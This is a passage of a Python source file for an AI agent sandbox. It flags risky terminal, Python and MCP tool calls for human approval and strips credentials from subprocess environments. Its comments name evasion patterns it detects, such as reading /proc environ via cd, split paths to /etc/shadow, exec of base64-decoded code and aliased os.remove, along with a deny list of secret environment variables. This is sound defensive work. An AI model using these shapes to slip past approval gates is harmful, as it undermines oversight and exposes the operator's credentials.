# Only git needs the forwarding scan to stop: its risk lives in
|
|
# the SUBCOMMAND (git clean), so following tokens are git's own
|
|
# arguments. Others keep scanning, since find's predicates sit
|
|
# between `find` and `-exec rm`.
|
|
scan_forward = False
|
|
# Remember the resolved command so its own flags (python -c), git
|
|
# subcommand or chdir target can be judged as they follow.
|
|
current_command = base
|
|
if base in _CHDIR_COMMANDS:
|
|
chdir_pending = True
|
|
if base in _AWK_COMMANDS:
|
|
awk_program_pending = True
|
|
elif current_command == "git" and not git_subcommand:
|
|
# The first positional after `git` is its subcommand.
|
|
git_subcommand = base
|
|
if base == "clean" and _segment_has_flag(
|
|
tokens, _tok_idx, _GIT_CLEAN_DRY_RUN_FLAGS, "n"
|
|
):
|
|
# A dry run lists what would go and removes nothing.
|
|
expect_command = False
|
|
prefix_pending = False
|
|
continue
|
|
if base in _HIGH_RISK_GIT_SUBCOMMANDS:
|
|
return True
|
|
elif awk_program_pending:
|
|
awk_program_pending = False
|
|
if _AWK_SHELL_ESCAPE_RE.search(raw):
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "submodule"
|
|
and git_submodule_action == "foreach"
|
|
):
|
|
# `git submodule foreach '<cmd>'` runs the argument in every
|
|
# submodule, so it is a command in its own right.
|
|
git_submodule_action = ""
|
|
if _depth >= 3 or _terminal_is_high_risk(raw, _depth + 1):
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "submodule"
|
|
and not git_submodule_action
|
|
):
|
|
git_submodule_action = base
|
|
elif current_command == "getent" and base in _GETENT_CREDENTIAL_DATABASES:
|
|
# The database name is the whole request; no path is mentioned.
|
|
return True
|
|
elif current_command == "openssl" and base in _OPENSSL_NETWORK_SUBCOMMANDS:
|
|
# openssl s_client/s_server open a TLS socket. The regex above is
|
|
# anchored at command position, so it misses the wrapped forms.
|
|
return True
|
|
elif current_command == "sysctl" and "=" in raw:
|
|
# `sysctl net.ipv4.ip_forward=1` writes without needing -w.
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "worktree"
|
|
and not git_worktree_action
|
|
):
|
|
git_worktree_action = base
|
|
elif current_command in _EVAL_SUBCOMMAND_INTERPRETERS and base == "eval":
|
|
# `deno eval "..."` / `bun eval "..."` run inline code as a
|
|
# subcommand rather than a flag, the same risk as -e.
|
|
return True
|
|
elif current_command == "git" and git_subcommand == "checkout" and base == ".":
|
|
# `git checkout .` discards every tracked working-tree change.
|
|
return True
|
|
elif current_command == "git" and git_subcommand == "checkout":
|
|
# A SECOND positional means the first was a commit-ish and this is
|
|
# a pathspec (git checkout HEAD file), which overwrites the file. A
|
|
# single one is ambiguous with a branch name and is left alone.
|
|
git_checkout_positionals += 1
|
|
if git_checkout_positionals >= 2:
|
|
return True
|
|
elif (
|
|
current_command == "git" and git_subcommand == "config" and git_config_alias_pending
|
|
):
|
|
git_config_alias_pending = False
|
|
# The stored alias body is code git runs on the next invocation.
|
|
nested = raw[1:] if raw.startswith("!") else "git " + raw
|
|
if _depth >= 3 or _terminal_is_high_risk(nested, _depth + 1):
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "config"
|
|
and raw.lower().startswith("alias.")
|
|
):
|
|
git_config_alias_pending = True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "stash"
|
|
and base in _HIGH_RISK_GIT_STASH_ACTIONS
|
|
):
|
|
# `git stash clear` / `drop` destroys stashed work unrecoverably.
|
|
return True
|
|
elif current_command == "git" and git_subcommand == "push" and raw[:1] in ("+", ":"):
|
|
# A refspec forcing (+src:dst) or deleting (:dst) a remote ref is
|
|
# the punctuation form of --force / --delete.
|
|
if len(raw) > 1:
|
|
return True
|
|
elif chdir_pending:
|
|
# A chdir into a sensitive directory sets up a relative read that no
|
|
# single token spells out (cd /proc/$PPID; cat environ).
|
|
chdir_pending = False
|
|
if any(
|
|
_SENSITIVE_CHDIR_RE.search(cand)
|
|
for cand in (raw, _expand_param_defaults(raw), _expand_shell_assignments(raw))
|
|
):
|
|
return True
|
|
expect_command = False
|
|
prefix_pending = False
|
|
return False
|
|
|
|
|
|
def _python_is_high_risk(code: str) -> bool:
|
|
"""High-risk python for auto mode: code the sandbox static analysis would
|
|
refuse anyway (shell escape, network egress, a sensitive read), that
|
|
reads/writes a credential path, or that runs dynamically built code past
|
|
those static checks. Ordinary in-workdir file writes and computation run
|
|
without a prompt."""
|
|
if not code or not code.strip():
|
|
return False
|
|
# _check_code_safety objecting means execution would be refused outright, so a
|
|
# confirmation first beats a silent refusal.
|
|
if _check_code_safety(code) is not None:
|
|
return True
|
|
try:
|
|
tree = ast.parse(code)
|
|
except SyntaxError:
|
|
# Unparsable code never runs, but scan the raw text anyway.
|
|
return _references_sensitive_path(code)
|
|
# A credential basename only names a file when it appears in a string, so match
|
|
# it there rather than across the source: `credentials = {}` and
|
|
# `def load_credentials()` do no I/O and must not prompt.
|
|
for _node in ast.walk(tree):
|
|
if (
|
|
isinstance(_node, ast.Constant)
|
|
and isinstance(_node.value, str)
|
|
and _references_sensitive_path(_node.value)
|
|
):
|
|
return True
|
|
# A destructive filesystem call (shutil.rmtree, Path.unlink) asks, for parity
|
|
# with the terminal `rm` gate. Collect bare import aliases first.
|
|
destructive_fs_aliases: "set[str]" = set()
|
|
# Modules whose handles end processes; tracked so an unrelated .kill() on a
|
|
# user-defined object is not mistaken for one.
|
|
psutil_names: "set[str]" = set()
|
|
for _node in ast.walk(tree):
|
|
if isinstance(_node, ast.Import):
|
|
for _a in _node.names:
|
|
if _a.name.split(".")[0] in _PY_PROCESS_MODULES:
|
|
psutil_names.add("psutil")
|
|
elif (
|
|
isinstance(_node, ast.ImportFrom)
|
|
and (_node.module or "").split(".")[0] in _PY_PROCESS_MODULES
|
|
):
|
|
psutil_names.add("psutil")
|
|
# `import os as filesystem` rebinds the module, so os.remove reached through
|
|
# the alias (filesystem.remove) must resolve too; posix is os's low-level twin.
|
|
os_module_aliases: "set[str]" = {"os", "posix", "nt"}
|
|
|
|
def _is_os_module_ref(value) -> bool:
|
|
# A Name bound to os/posix/nt, a walrus binding one, or a literal
|
|
# __import__("os") call used directly. builtins.__import__ is the same
|
|
# callable reached through the module, so both spellings resolve.
|
|
if isinstance(value, ast.Name):
|
|
return value.id in os_module_aliases
|
|
if isinstance(value, ast.NamedExpr):
|
|
return _is_os_module_ref(value.value)
|
|
if not isinstance(value, ast.Call):
|
|
return False
|
|
func = value.func
|
|
is_import = (isinstance(func, ast.Name) and func.id == "__import__") or (
|
|
isinstance(func, ast.Attribute) and func.attr == "__import__"
|
|
)
|
|
return (
|
|
is_import
|
|
and bool(value.args)
|
|
and isinstance(value.args[0], ast.Constant)
|
|
and value.args[0].value in ("os", "posix", "nt")
|
|
)
|
|
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.ImportFrom) and node.module in _PY_DESTRUCTIVE_FS_MODULES:
|
|
for alias in node.names:
|
|
if alias.name in _PY_DESTRUCTIVE_FS_IMPORT_NAMES:
|
|
destructive_fs_aliases.add(alias.asname or alias.name)
|
|
elif isinstance(node, ast.Import):
|
|
for alias in node.names:
|
|
if alias.name in ("os", "posix", "nt") and alias.asname:
|
|
os_module_aliases.add(alias.asname)
|
|
elif isinstance(node, ast.Assign) and _is_os_module_ref(node.value):
|
|
# m = __import__("os") binds the module under a new name.
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
os_module_aliases.add(tgt.id)
|
|
elif isinstance(node, ast.NamedExpr) and _is_os_module_ref(node.value):
|
|
# (fs := os).remove(...) binds it in an expression instead.
|
|
if isinstance(node.target, ast.Name):
|
|
os_module_aliases.add(node.target.id)
|
|
|
|
def _is_fs_module_ref(value) -> bool:
|
|
# os/posix/nt (including aliases), or a literal shutil/pathlib name.
|
|
if _is_os_module_ref(value):
|
|
return True
|
|
return isinstance(value, ast.Name) and value.id in _PY_DESTRUCTIVE_FS_MODULES
|
|
|
|
def _is_process_kill(node) -> bool:
|
|
# psutil.Process(pid).kill() / .terminate(), including a handle bound to
|
|
# a name first. Keyed on the psutil import so an unrelated .kill() on a
|
|
# user object does not prompt.
|
|
if "psutil" not in psutil_names:
|
|
return False
|
|
return isinstance(node, ast.Attribute) and node.attr in _PY_PROCESS_KILL_ATTRS
|
|
|
|
def _is_destructive_attr(attr: str, value) -> bool:
|
|
# A destructive-name attribute (unlink/rmtree/...) on any receiver, or
|
|
# `remove` specifically on the os module (or an alias of it).
|
|
if attr in _PY_DESTRUCTIVE_FS_ATTRS:
|
|
return True
|
|
return attr in _PY_DESTRUCTIVE_FS_OS_ATTRS and _is_os_module_ref(value)
|
|
|
|
def _module_dict_target(value):
|
|
# The module namespace as a dict: vars(os) or os.__dict__.
|
|
if isinstance(value, ast.Attribute) and value.attr == "__dict__":
|
|
return value.value
|
|
if (
|
|
isinstance(value, ast.Call)
|
|
and isinstance(value.func, ast.Name)
|
|
and value.func.id == "vars"
|
|
and len(value.args) == 1
|
|
):
|
|
return value.args[0]
|
|
return None
|
|
|
|
def _is_module_dict_lookup(node) -> bool:
|
|
# vars(os)["remove"] / os.__dict__["unlink"] is getattr spelled through
|
|
# the namespace dict, so screen the key the same way. Anchored to a
|
|
# filesystem module, leaving an ordinary d["remove"] alone.
|
|
if not isinstance(node, ast.Subscript):
|
|
return False
|
|
module = _module_dict_target(node.value)
|
|
if module is None:
|
|
return False
|
|
attr = _folded_str_literal(node.slice)
|
|
if attr is None:
|
|
return _is_fs_module_ref(module)
|
|
return _is_destructive_attr(attr, module)
|
|
|
|
# `rm = getattr(os, "remove")` stores the lookup and calls it later, so the
|
|
# direct getattr(...)(...) shape never sees it. Bind the name here instead.
|
|
for node in ast.walk(tree):
|
|
if not (
|
|
isinstance(node, ast.Assign)
|
|
and isinstance(node.value, ast.Call)
|
|
and isinstance(node.value.func, ast.Name)
|
|
and node.value.func.id == "getattr"
|
|
and len(node.value.args) >= 2
|
|
):
|
|
continue
|
|
_attr = _folded_str_literal(node.value.args[1])
|
|
_hit = (
|
|
_is_fs_module_ref(node.value.args[0])
|
|
if _attr is None
|
|
else _is_destructive_attr(_attr, node.value.args[0])
|
|
)
|
|
if _hit:
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
destructive_fs_aliases.add(tgt.id)
|
|
|
|
# `f = open(path, "r+")` then `f.truncate(0)` zeroes the file. Gated via the
|
|
# handle name, not the bare `.truncate` attribute: pandas DataFrame.truncate()
|
|
# is common here and non-destructive.
|
|
file_handles: "set[str]" = set()
|
|
for node in ast.walk(tree):
|
|
if (
|
|
isinstance(node, ast.Assign)
|
|
and isinstance(node.value, ast.Call)
|
|
and isinstance(node.value.func, ast.Name)
|
|
and node.value.func.id == "open"
|
|
):
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
file_handles.add(tgt.id)
|
|
elif isinstance(node, (ast.With, ast.AsyncWith)):
|
|
# `with open(p, "r+") as f:` binds the handle like an assignment.
|
|
for item in node.items:
|
|
ctx = item.context_expr
|
|
if (
|
|
isinstance(ctx, ast.Call)
|
|
and isinstance(ctx.func, ast.Name)
|
|
and ctx.func.id == "open"
|
|
and isinstance(item.optional_vars, ast.Name)
|
|
):
|
|
file_handles.add(item.optional_vars.id)
|
|
if file_handles:
|
|
for node in ast.walk(tree):
|
|
if (
|
|
isinstance(node, ast.Call)
|
|
and isinstance(node.func, ast.Attribute)
|
|
and node.func.attr == "truncate"
|
|
and isinstance(node.func.value, ast.Name)
|
|
and node.func.value.id in file_handles
|
|
):
|
|
return True
|
|
# A bound reference (f = os.remove; f(x)) hides the call site behind a plain
|
|
# Name, so record the target name as a destructive alias to catch f(...) below.
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.Assign) and isinstance(node.value, ast.Subscript):
|
|
if _is_module_dict_lookup(node.value):
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
destructive_fs_aliases.add(tgt.id)
|
|
elif isinstance(node, ast.Assign) and isinstance(node.value, ast.Attribute):
|
|
if _is_destructive_attr(node.value.attr, node.value.value):
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
destructive_fs_aliases.add(tgt.id)
|
|
elif (
|
|
isinstance(node, ast.AnnAssign)
|
|
and isinstance(node.value, ast.Attribute)
|
|
and isinstance(node.target, ast.Name)
|
|
):
|
|
# An annotated binding (f: object = os.remove) is the same alias.
|
|
if _is_destructive_attr(node.value.attr, node.value.value):
|
|
destructive_fs_aliases.add(node.target.id)
|
|
for node in ast.walk(tree):
|
|
if not isinstance(node, ast.Call):
|
|
continue
|
|
func = node.func
|
|
if isinstance(func, ast.Attribute):
|
|
if _is_destructive_attr(func.attr, func.value):
|
|
return True
|
|
if _is_process_kill(func):
|
|
return True
|
|
elif isinstance(func, ast.Subscript):
|
|
if _is_module_dict_lookup(func):
|
|
return True
|
|
elif isinstance(func, ast.Name) and func.id in destructive_fs_aliases:
|
|
return True
|
|
elif isinstance(func, ast.NamedExpr):
|
|
# (f := os.remove)(...) binds and calls in one expression.
|
|
inner = func.value
|
|
if isinstance(inner, ast.Attribute) and _is_destructive_attr(inner.attr, inner.value):
|
|
return True
|
|
if isinstance(inner, ast.Name) and inner.id in destructive_fs_aliases:
|
|
return True
|
|
if _is_module_dict_lookup(inner):
|
|
return True
|
|
# getattr(os, "remove")(x) resolves the attribute at runtime. The name is
|
|
# folded first ("un" + "link"); one that cannot be folded at all on a
|
|
# filesystem module fails closed, since there is nothing left to screen.
|
|
if (
|
|
isinstance(func, ast.Call)
|
|
and isinstance(func.func, ast.Name)
|
|
and func.func.id == "getattr"
|
|
and len(func.args) >= 2
|
|
):
|
|
attr_name = _folded_str_literal(func.args[1])
|
|
if attr_name is None:
|
|
if _is_fs_module_ref(func.args[0]):
|
|
return True
|
|
elif _is_destructive_attr(attr_name, func.args[0]):
|
|
return True
|
|
# A sensitive path split across names or joins (p = "/etc"; open(p + "/shadow"))
|
|
# is not a contiguous literal above, so fold the string-literal variables
|
|
# through _folded_path and re-check. An unresolved fragment folds to a sentinel
|
|
# so a partial fold never false-positives.
|
|
str_vars: "dict[str, str]" = {}
|
|
for node in ast.walk(tree):
|
|
if not (
|
|
isinstance(node, ast.Assign)
|
|
and len(node.targets) == 1
|
|
and isinstance(node.targets[0], ast.Name)
|
|
):
|
|
continue
|
|
value = node.value
|
|
if isinstance(value, ast.Constant) and isinstance(value.value, str):
|
|
str_vars[node.targets[0].id] = value.value
|
|
elif isinstance(value, (ast.Call, ast.BinOp, ast.JoinedStr, ast.Name)):
|
|
# Record a fully-literal folded path so a later reuse (p / "shadow")
|
|
# resolves; a dynamic fold is skipped so only known paths bind.
|
|
folded = _folded_path(value, str_vars)
|
|
if folded and "\x00" not in folded and "\x02" not in folded:
|
|
str_vars[node.targets[0].id] = folded
|
|
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, (ast.BinOp, ast.JoinedStr, ast.Call)):
|
|
folded = _folded_path(node, str_vars)
|
|
if folded and _folded_is_sensitive(folded):
|
|
return True
|
|
# exec/eval/compile/__import__ of a non-literal (exec(b64decode(...)),
|
|
# eval(input()), __import__(name)) runs whatever it builds at runtime, past
|
|
# the static checks above; ask. A literal eval("1+1") is harmless and runs.
|
|
for node in ast.walk(tree):
|
|
if not isinstance(node, ast.Call):
|
|
continue
|
|
func = node.func
|
|
name = None
|
|
if isinstance(func, ast.Name):
|
|
name = func.id
|
|
elif isinstance(func, ast.Attribute):
|
|
if func.attr == "import_module": # importlib.import_module(name)
|
|
name = "__import__"
|
|
elif func.attr in ("exec", "eval", "compile"): # builtins.exec(...)
|
|
name = func.attr
|
|
if name not in ("exec", "eval", "compile", "__import__"):
|
|
continue
|
|
# The source is the first positional, or the source=/name= keyword when
|
|
# called by keyword (compile(source=x), importlib.import_module(name=x)).
|
|
arg = node.args[0] if node.args else None
|
|
if arg is None:
|
|
for kw in node.keywords:
|
|
if kw.arg in ("source", "name"):
|
|
arg = kw.value
|
|
break
|
|
if arg is None:
|
|
continue
|
|
if isinstance(arg, ast.Constant) and isinstance(arg.value, (str, bytes)):
|
|
# A literal source is only as safe as the code it runs, so screen it
|
|
# recursively.
|
|
if name == "__import__":
|
|
# A module name is not analyzable as code, but a literal
|
|
# __import__("socket") binds a side-effecting module just like a
|
|
# static import, so apply the same module screen.
|
|
mod = (
|
|
arg.value.decode("utf-8", "replace")
|
|
if isinstance(arg.value, bytes)
|
|
else arg.value
|
|
)
|
|
if isinstance(mod, str) and mod.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
|
|
return True
|
|
continue
|
|
inner = (
|
|
arg.value.decode("utf-8", "replace") if isinstance(arg.value, bytes) else arg.value
|
|
)
|
|
if _python_is_high_risk(inner):
|
|
return True
|
|
continue
|
|
return True
|
|
return False
|
|
|
|
|
|
def is_high_risk_tool_call(name: str, arguments: dict) -> bool:
|
|
"""Whether a tool call is sensitive enough to pause for approval in auto
|
|
("Approve for me") mode.
|
|
|
|
Unlike is_potentially_unsafe_tool_call (which prompts on anything not
|
|
read-only), this prompts only on genuinely sensitive actions - credential
|
|
access, privilege escalation, destructive/persistence changes, and network
|
|
exec/exfil - and lets ordinary development commands run. The hard-block command
|
|
set, rlimits and secret-env stripping remain in force underneath. Unknown tools
|
|
fail closed (prompt).
|
|
"""
|
|
if name in _ALWAYS_SAFE_TOOLS:
|
|
return False
|
|
if name == "render_html":
|
|
# A static canvas is fine; only a networked canvas can egress.
|
|
return _render_html_reaches_network(arguments)
|
|
if name.startswith(MCP_TOOL_PREFIX):
|
|
tool_name = name.split("__", 2)[-1]
|
|
# Split camelCase into `_`-delimited terms so the term-boundary regexes
|
|
# below match camelCase names too.
|
|
tool_name = _CAMEL_CASE_RE.sub("_", tool_name)
|
|
# An execution tool runs arbitrary commands on the MCP server, outside the
|
|
# terminal sandbox; a credential noun discloses secrets; a read/write
|
|
# pointed at a sensitive path is a sensitive access. All prompt, while
|
|
# ordinary create/update/delete MCP calls run.
|
|
_reads = bool(_AUTO_READ_MCP_VERB_RE.search(tool_name))
|
|
if _AUTO_EXEC_MCP_COMPOUND_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_EXEC_MCP_TOOL_RE.search(tool_name) and not (
|
|
_reads and not _AUTO_EXEC_MCP_VERB_ONLY_RE.search(tool_name)
|
|
):
|
|
return True
|
|
if _AUTO_DESTRUCTIVE_MCP_VERB_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_PRIVILEGE_MCP_VERB_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_HIGH_IMPACT_MCP_RE.search(tool_name) and not _reads:
|
|
return True
|
|
if _AUTO_PRIVILEGE_MCP_NOUN_RE.search(
|
|
tool_name
|
|
) and _AUTO_PRIVILEGE_MCP_SOFT_VERB_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_SENSITIVE_MCP_NOUN_RE.search(tool_name):
|
|
return True
|
|
if _mcp_arguments_reference_sensitive(arguments):
|
|
return True
|
|
# A read-named tool carrying a destructive payload (query_database
|
|
# {"query": "DELETE FROM runs"}) masks a destructive external action behind
|
|
# a read-looking name. Honestly-named create/update calls still run.
|
|
if _mcp_arguments_mutate(arguments):
|
|
return True
|
|
# MCP names are an open vocabulary, not the finite set of POSIX utilities,
|
|
# so the denylists above cannot be complete: an unfamiliar verb
|
|
# (nuke_database) would sail through as ordinary. A name carrying no
|
|
# recognised verb at all therefore asks.
|
|
if not _mcp_verb_is_known(tool_name):
|
|
return True
|
|
return False
|
|
if name == "terminal":
|
|
return _terminal_is_high_risk(str(arguments.get("command", "")))
|
|
if name == "python":
|
|
return _python_is_high_risk(str(arguments.get("code", "")))
|
|
return True
|
|
|
|
|
|
def _canon_win_path(p: str) -> str:
|
|
"""Canonical form for trust comparison: realpath (expands 8.3 aliases and
|
|
resolves junctions/symlinks) + normcase/normpath."""
|
|
return os.path.normcase(os.path.normpath(os.path.realpath(p)))
|
|
|
|
|
|
def _augment_native_program_roots(roots: list[str]) -> list[str]:
|
|
"""Add the native Program Files sibling for any x86 root by stripping the
|
|
`` (x86)`` suffix, so a 32-bit process (whose known-folder ids map only to
|
|
the x86 root) still trusts a 64-bit Git install."""
|
|
out = list(roots)
|
|
for root in roots:
|
|
base = root.rstrip("\\/")
|
|
if base.lower().endswith(" (x86)"):
|
|
native = base[: -len(" (x86)")]
|
|
if native and native not in out:
|
|
out.append(native)
|
|
return out
|
|
|
|
|
|
def _windows_program_roots() -> list[str]:
|
|
"""Program Files install roots, resolved ONLY from the Windows known-folder
|
|
API (SHGetKnownFolderPath). Fails closed (returns ``[]``) if the API is
|
|
unavailable: env vars (%ProgramFiles%, even %SystemDrive%) are caller-
|
|
overrideable and could relocate the trust boundary, so we never derive a
|
|
trusted root from them. On any real Windows host shell32 is present, so
|
|
this only returns empty in a broken/non-Windows environment where the
|
|
sandbox git-PATH feature is not needed anyway (#7317).
|
|
"""
|
|
roots: list[str] = []
|
|
try:
|
|
import ctypes
|
|
from ctypes import wintypes
|
|
|
|
# FOLDERID_ProgramFiles, _ProgramFilesX86, _ProgramFilesX64. The X64
|
|
# id (Win10 1703+) yields the native root even from a 32-bit process,
|
|
# where the first two both map to Program Files (x86).
|
|
folder_ids = (
|
|
"{905e63b6-c1bf-494e-b29c-65b732d3d21a}",
|
|
"{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}",
|
|
"{6D809377-6AF0-444b-8957-A3773F02200E}",
|
|
)
|
|
_SHGet = ctypes.windll.shell32.SHGetKnownFolderPath
|
|
_CoTaskMemFree = ctypes.windll.ole32.CoTaskMemFree
|
|
for fid in folder_ids:
|
|
guid = ctypes.create_string_buffer(16)
|
|
ctypes.windll.ole32.CLSIDFromString(wintypes.LPCWSTR(fid), ctypes.byref(guid))
|
|
ptr = ctypes.c_wchar_p()
|
|
if _SHGet(ctypes.byref(guid), 0, None, ctypes.byref(ptr)) == 0:
|
|
if ptr.value:
|
|
roots.append(ptr.value)
|
|
_CoTaskMemFree(ptr)
|
|
except Exception:
|
|
return []
|
|
return _augment_native_program_roots(roots)
|
|
|
|
|
|
def _resolve_trusted_windows_git() -> tuple[str, str]:
|
|
"""Find a git launcher in a TRUSTED Program Files dir. Returns
|
|
``(canonical_dir, ext)`` or ``("", "")``.
|
|
|
|
``shutil.which`` returns only the first PATH match, which may be an
|
|
untrusted user shim; scan the remaining PATH entries for a later trusted
|
|
Git so bare ``git`` still resolves (#7317).
|
|
"""
|
|
exts = [e for e in (os.environ.get("PATHEXT") or ".EXE;.CMD;.BAT;.COM").split(os.pathsep)]
|
|
candidates: list[str] = []
|
|
primary = shutil.which("git")
|
|
if primary:
|
|
candidates.append(primary)
|
|
for entry in (os.environ.get("PATH") or "").split(os.pathsep):
|
|
entry = entry.strip().strip('"')
|
|
if not entry or not os.path.isabs(entry):
|
|
continue
|
|
for ext in exts:
|
|
cand = os.path.join(entry, "git" + ext)
|
|
if os.path.isfile(cand):
|
|
candidates.append(cand)
|
|
for git_exe in candidates:
|
|
git_dir = os.path.dirname(git_exe)
|
|
if os.path.isabs(git_dir) and _is_trusted_windows_program_dir(git_dir):
|
|
return os.path.realpath(git_dir), os.path.splitext(git_exe)[1].upper()
|
|
return "", ""
|
|
|
|
|
|
def _is_trusted_windows_program_dir(path: str) -> bool:
|
|
"""True when ``path`` sits under a system-managed Program Files root.
|
|
|
|
Only the Program Files roots are trusted (admin-writable only), resolved
|
|
via the known-folder API so an overridden env var cannot relocate them,
|
|
never ``%SystemRoot%`` (Git does not install there and it holds
|
|
world-writable subdirs like ``Windows\\Temp``). Per-user managers
|
|
(Scoop/Choco shims under the profile) are refused. Paths are canonicalized
|
|
so 8.3 aliases and junctions still resolve to their real root (#7317).
|
|
"""
|
|
norm = _canon_win_path(path)
|
|
for root in _windows_program_roots():
|
|
root_norm = _canon_win_path(root)
|
|
if norm == root_norm or norm.startswith(root_norm + os.sep):
|
|
return True
|
|
return False
|
|
|
|
|
|
def _build_safe_env(workdir: str) -> dict[str, str]:
|
|
"""Build a minimal, credential-free environment for sandboxed subprocesses.
|
|
|
|
Whitelist-built from scratch (parent env NOT inherited): only PATH/HOME/
|
|
TMPDIR/LANG/TERM/PYTHONIOENCODING/PYTHONPATH (+VIRTUAL_ENV or Windows
|
|
SystemRoot and a minimal PATHEXT) reach the child; all credential vars
|
|
(HF_TOKEN, AWS_*, etc.) are absent. HOME points at the sandbox workdir so SDKs can't read the
|
|
operator's cached creds. PYTHONPATH carries only the sandbox sitecustomize
|
|
shim directory.
|
|
|
|
PATH starts with the Studio interpreter / venv and OS system dirs so
|
|
``python``/``pip`` stay pinned. On Windows only, Git-for-Windows install
|
|
dirs from the host PATH are appended so bare ``git`` resolves (#7317).
|
|
User-writable host PATH entries (venv, ``node_modules/.bin``, etc.) are
|
|
never inherited — they could shadow auto-safe terminal commands.
|
|
"""
|
|
# Start from the running interpreter's dir so 'python'/'pip' resolve to the
|
|
# same environment the Unsloth server runs in.
|
|
exe_dir = os.path.dirname(sys.executable)
|
|
path_entries = [exe_dir] if exe_dir else []
|
|
|
|
# If a virtualenv is active, include its bin/Scripts directory.
|
|
venv = os.environ.get("VIRTUAL_ENV")
|
|
if venv:
|
|
venv_bin = os.path.join(venv, "Scripts" if sys.platform == "win32" else "bin")
|
|
if venv_bin not in path_entries:
|
|
path_entries.append(venv_bin)
|
|
|
|
if sys.platform == "win32":
|
|
sysroot = os.environ.get("SystemRoot", r"C:\Windows")
|
|
path_entries.extend([os.path.join(sysroot, "System32"), sysroot])
|
|
else:
|
|
path_entries.extend(["/usr/local/bin", "/usr/bin", "/bin"])
|
|
|
|
# Windows Git installs live outside System32; inherit the dir of the git
|
|
# the HOST shell resolves, but ONLY when it sits under a system install
|
|
# root (Program Files, windir). A user-writable dir (Scoop/Choco shims)
|
|
# is refused: it would let an attacker drop rg.exe/jq.exe beside git and
|
|
# have an auto-approved bare command execute it (#7317).
|
|
git_ext = ""
|
|
if sys.platform == "win32":
|
|
# Append the CANONICAL (realpath) trusted git dir, scanning past any
|
|
# untrusted user shim that sorts first on PATH; the canonical path
|
|
# cannot be retargeted via a junction after the trust check.
|
|
_trusted_git_dir, git_ext = _resolve_trusted_windows_git()
|
|
if _trusted_git_dir:
|
|
path_entries.append(_trusted_git_dir)
|
|
|
|
# Deduplicate, preserving order.
|
|
deduped = list(dict.fromkeys(p for p in path_entries if p))
|
|
|
|
env = {
|
|
"PATH": os.pathsep.join(deduped),
|
|
"HOME": workdir,
|
|
"TMPDIR": workdir,
|
|
"LANG": os.environ.get("LANG", "C.UTF-8"),
|
|
"TERM": "dumb",
|
|
"PYTHONIOENCODING": "utf-8",
|
|
# sitecustomize shim: remaps ChatGPT code-interpreter paths (/mnt/data
|
|
# etc.) onto the sandbox CWD; see sandbox_site/sitecustomize.py.
|
|
"PYTHONPATH": _SANDBOX_SITE_DIR,
|
|
}
|
|
if venv:
|
|
env["VIRTUAL_ENV"] = venv
|
|
# Windows needs SystemRoot for Python/subprocess to work.
|
|
if sys.platform == "win32":
|
|
env["SystemRoot"] = os.environ.get("SystemRoot", r"C:\Windows")
|
|
# Restrict PATHEXT so cwd .BAT/.CMD cannot hijack bare names (#7317).
|
|
pathext = ".EXE;.COM"
|
|
if git_ext and git_ext not in (".EXE", ".COM"):
|
|
# Keep the host git launcher (e.g. a .CMD shim) resolvable.
|
|
pathext += ";" + git_ext
|
|
env["PATHEXT"] = pathext
|
|
# cmd/CreateProcess search cwd before PATH for bare names; disable so
|
|
# a workdir rg.exe/git.exe cannot shadow auto-approved commands.
|
|
env["NoDefaultCurrentDirectoryInExePath"] = "1"
|
|
return env
|
|
|
|
|
|
# Credential env vars dropped even in bypass mode so tool code cannot read the
|
|
# operator's keys. Over-strips on purpose (a benign var is harmless to lose).
|
|
_BYPASS_ENV_SECRET_NAMES = frozenset(
|
|
{
|
|
"HF_TOKEN",
|
|
"HF_HUB_TOKEN",
|
|
"HUGGING_FACE_HUB_TOKEN",
|
|
"HUGGINGFACE_TOKEN",
|
|
"HUGGINGFACEHUB_API_TOKEN",
|
|
"WANDB_API_KEY",
|
|
"GH_TOKEN",
|
|
"GITHUB_TOKEN",
|
|
"OPENAI_API_KEY",
|
|
"ANTHROPIC_API_KEY",
|
|
"GEMINI_API_KEY",
|
|
"GOOGLE_API_KEY",
|
|
"GROQ_API_KEY",
|
|
"OPENROUTER_API_KEY",
|
|
"REPLICATE_API_TOKEN",
|
|
"COHERE_API_KEY",
|
|
"MISTRAL_API_KEY",
|
|
"NGC_API_KEY",
|
|
"KAGGLE_KEY",
|
|
"MYSQL_PWD", # exact name: markers use PASSWD, not PWD (PWD is the cwd var)
|
|
"LD_PRELOAD",
|
|
# Auth brokers / capability handles: hand the child the operator's live
|
|
# agent (ssh/gpg), kube config, or docker daemon. Listed by name (no
|
|
# value signal). URL config vars are NOT name-listed: a credentialed
|
|
# value is dropped by _is_secret_env_value() regardless of name.
|
|
"SSH_AUTH_SOCK",
|
|
"SSH_AGENT_PID",
|
|
"GPG_AGENT_INFO",
|
|
"GNUPGHOME",
|
|
"KUBECONFIG",
|
|
"DOCKER_HOST",
|
|
}
|
|
)
|
|
_BYPASS_ENV_SECRET_PREFIXES = ("AWS_", "AZURE_", "GOOGLE_", "GCP_", "GCLOUD_", "DYLD_")
|
|
_BYPASS_ENV_SECRET_MARKERS = (
|
|
"TOKEN",
|
|
"API_KEY",
|
|
"APIKEY",
|
|
"SECRET",
|
|
"PASSWORD",
|
|
"PASSWD",
|
|
"CREDENTIAL",
|
|
"PRIVATE_KEY",
|
|
"AUTH", # e.g. NPM_CONFIG__AUTH (npm _auth), REDISCLI_AUTH
|
|
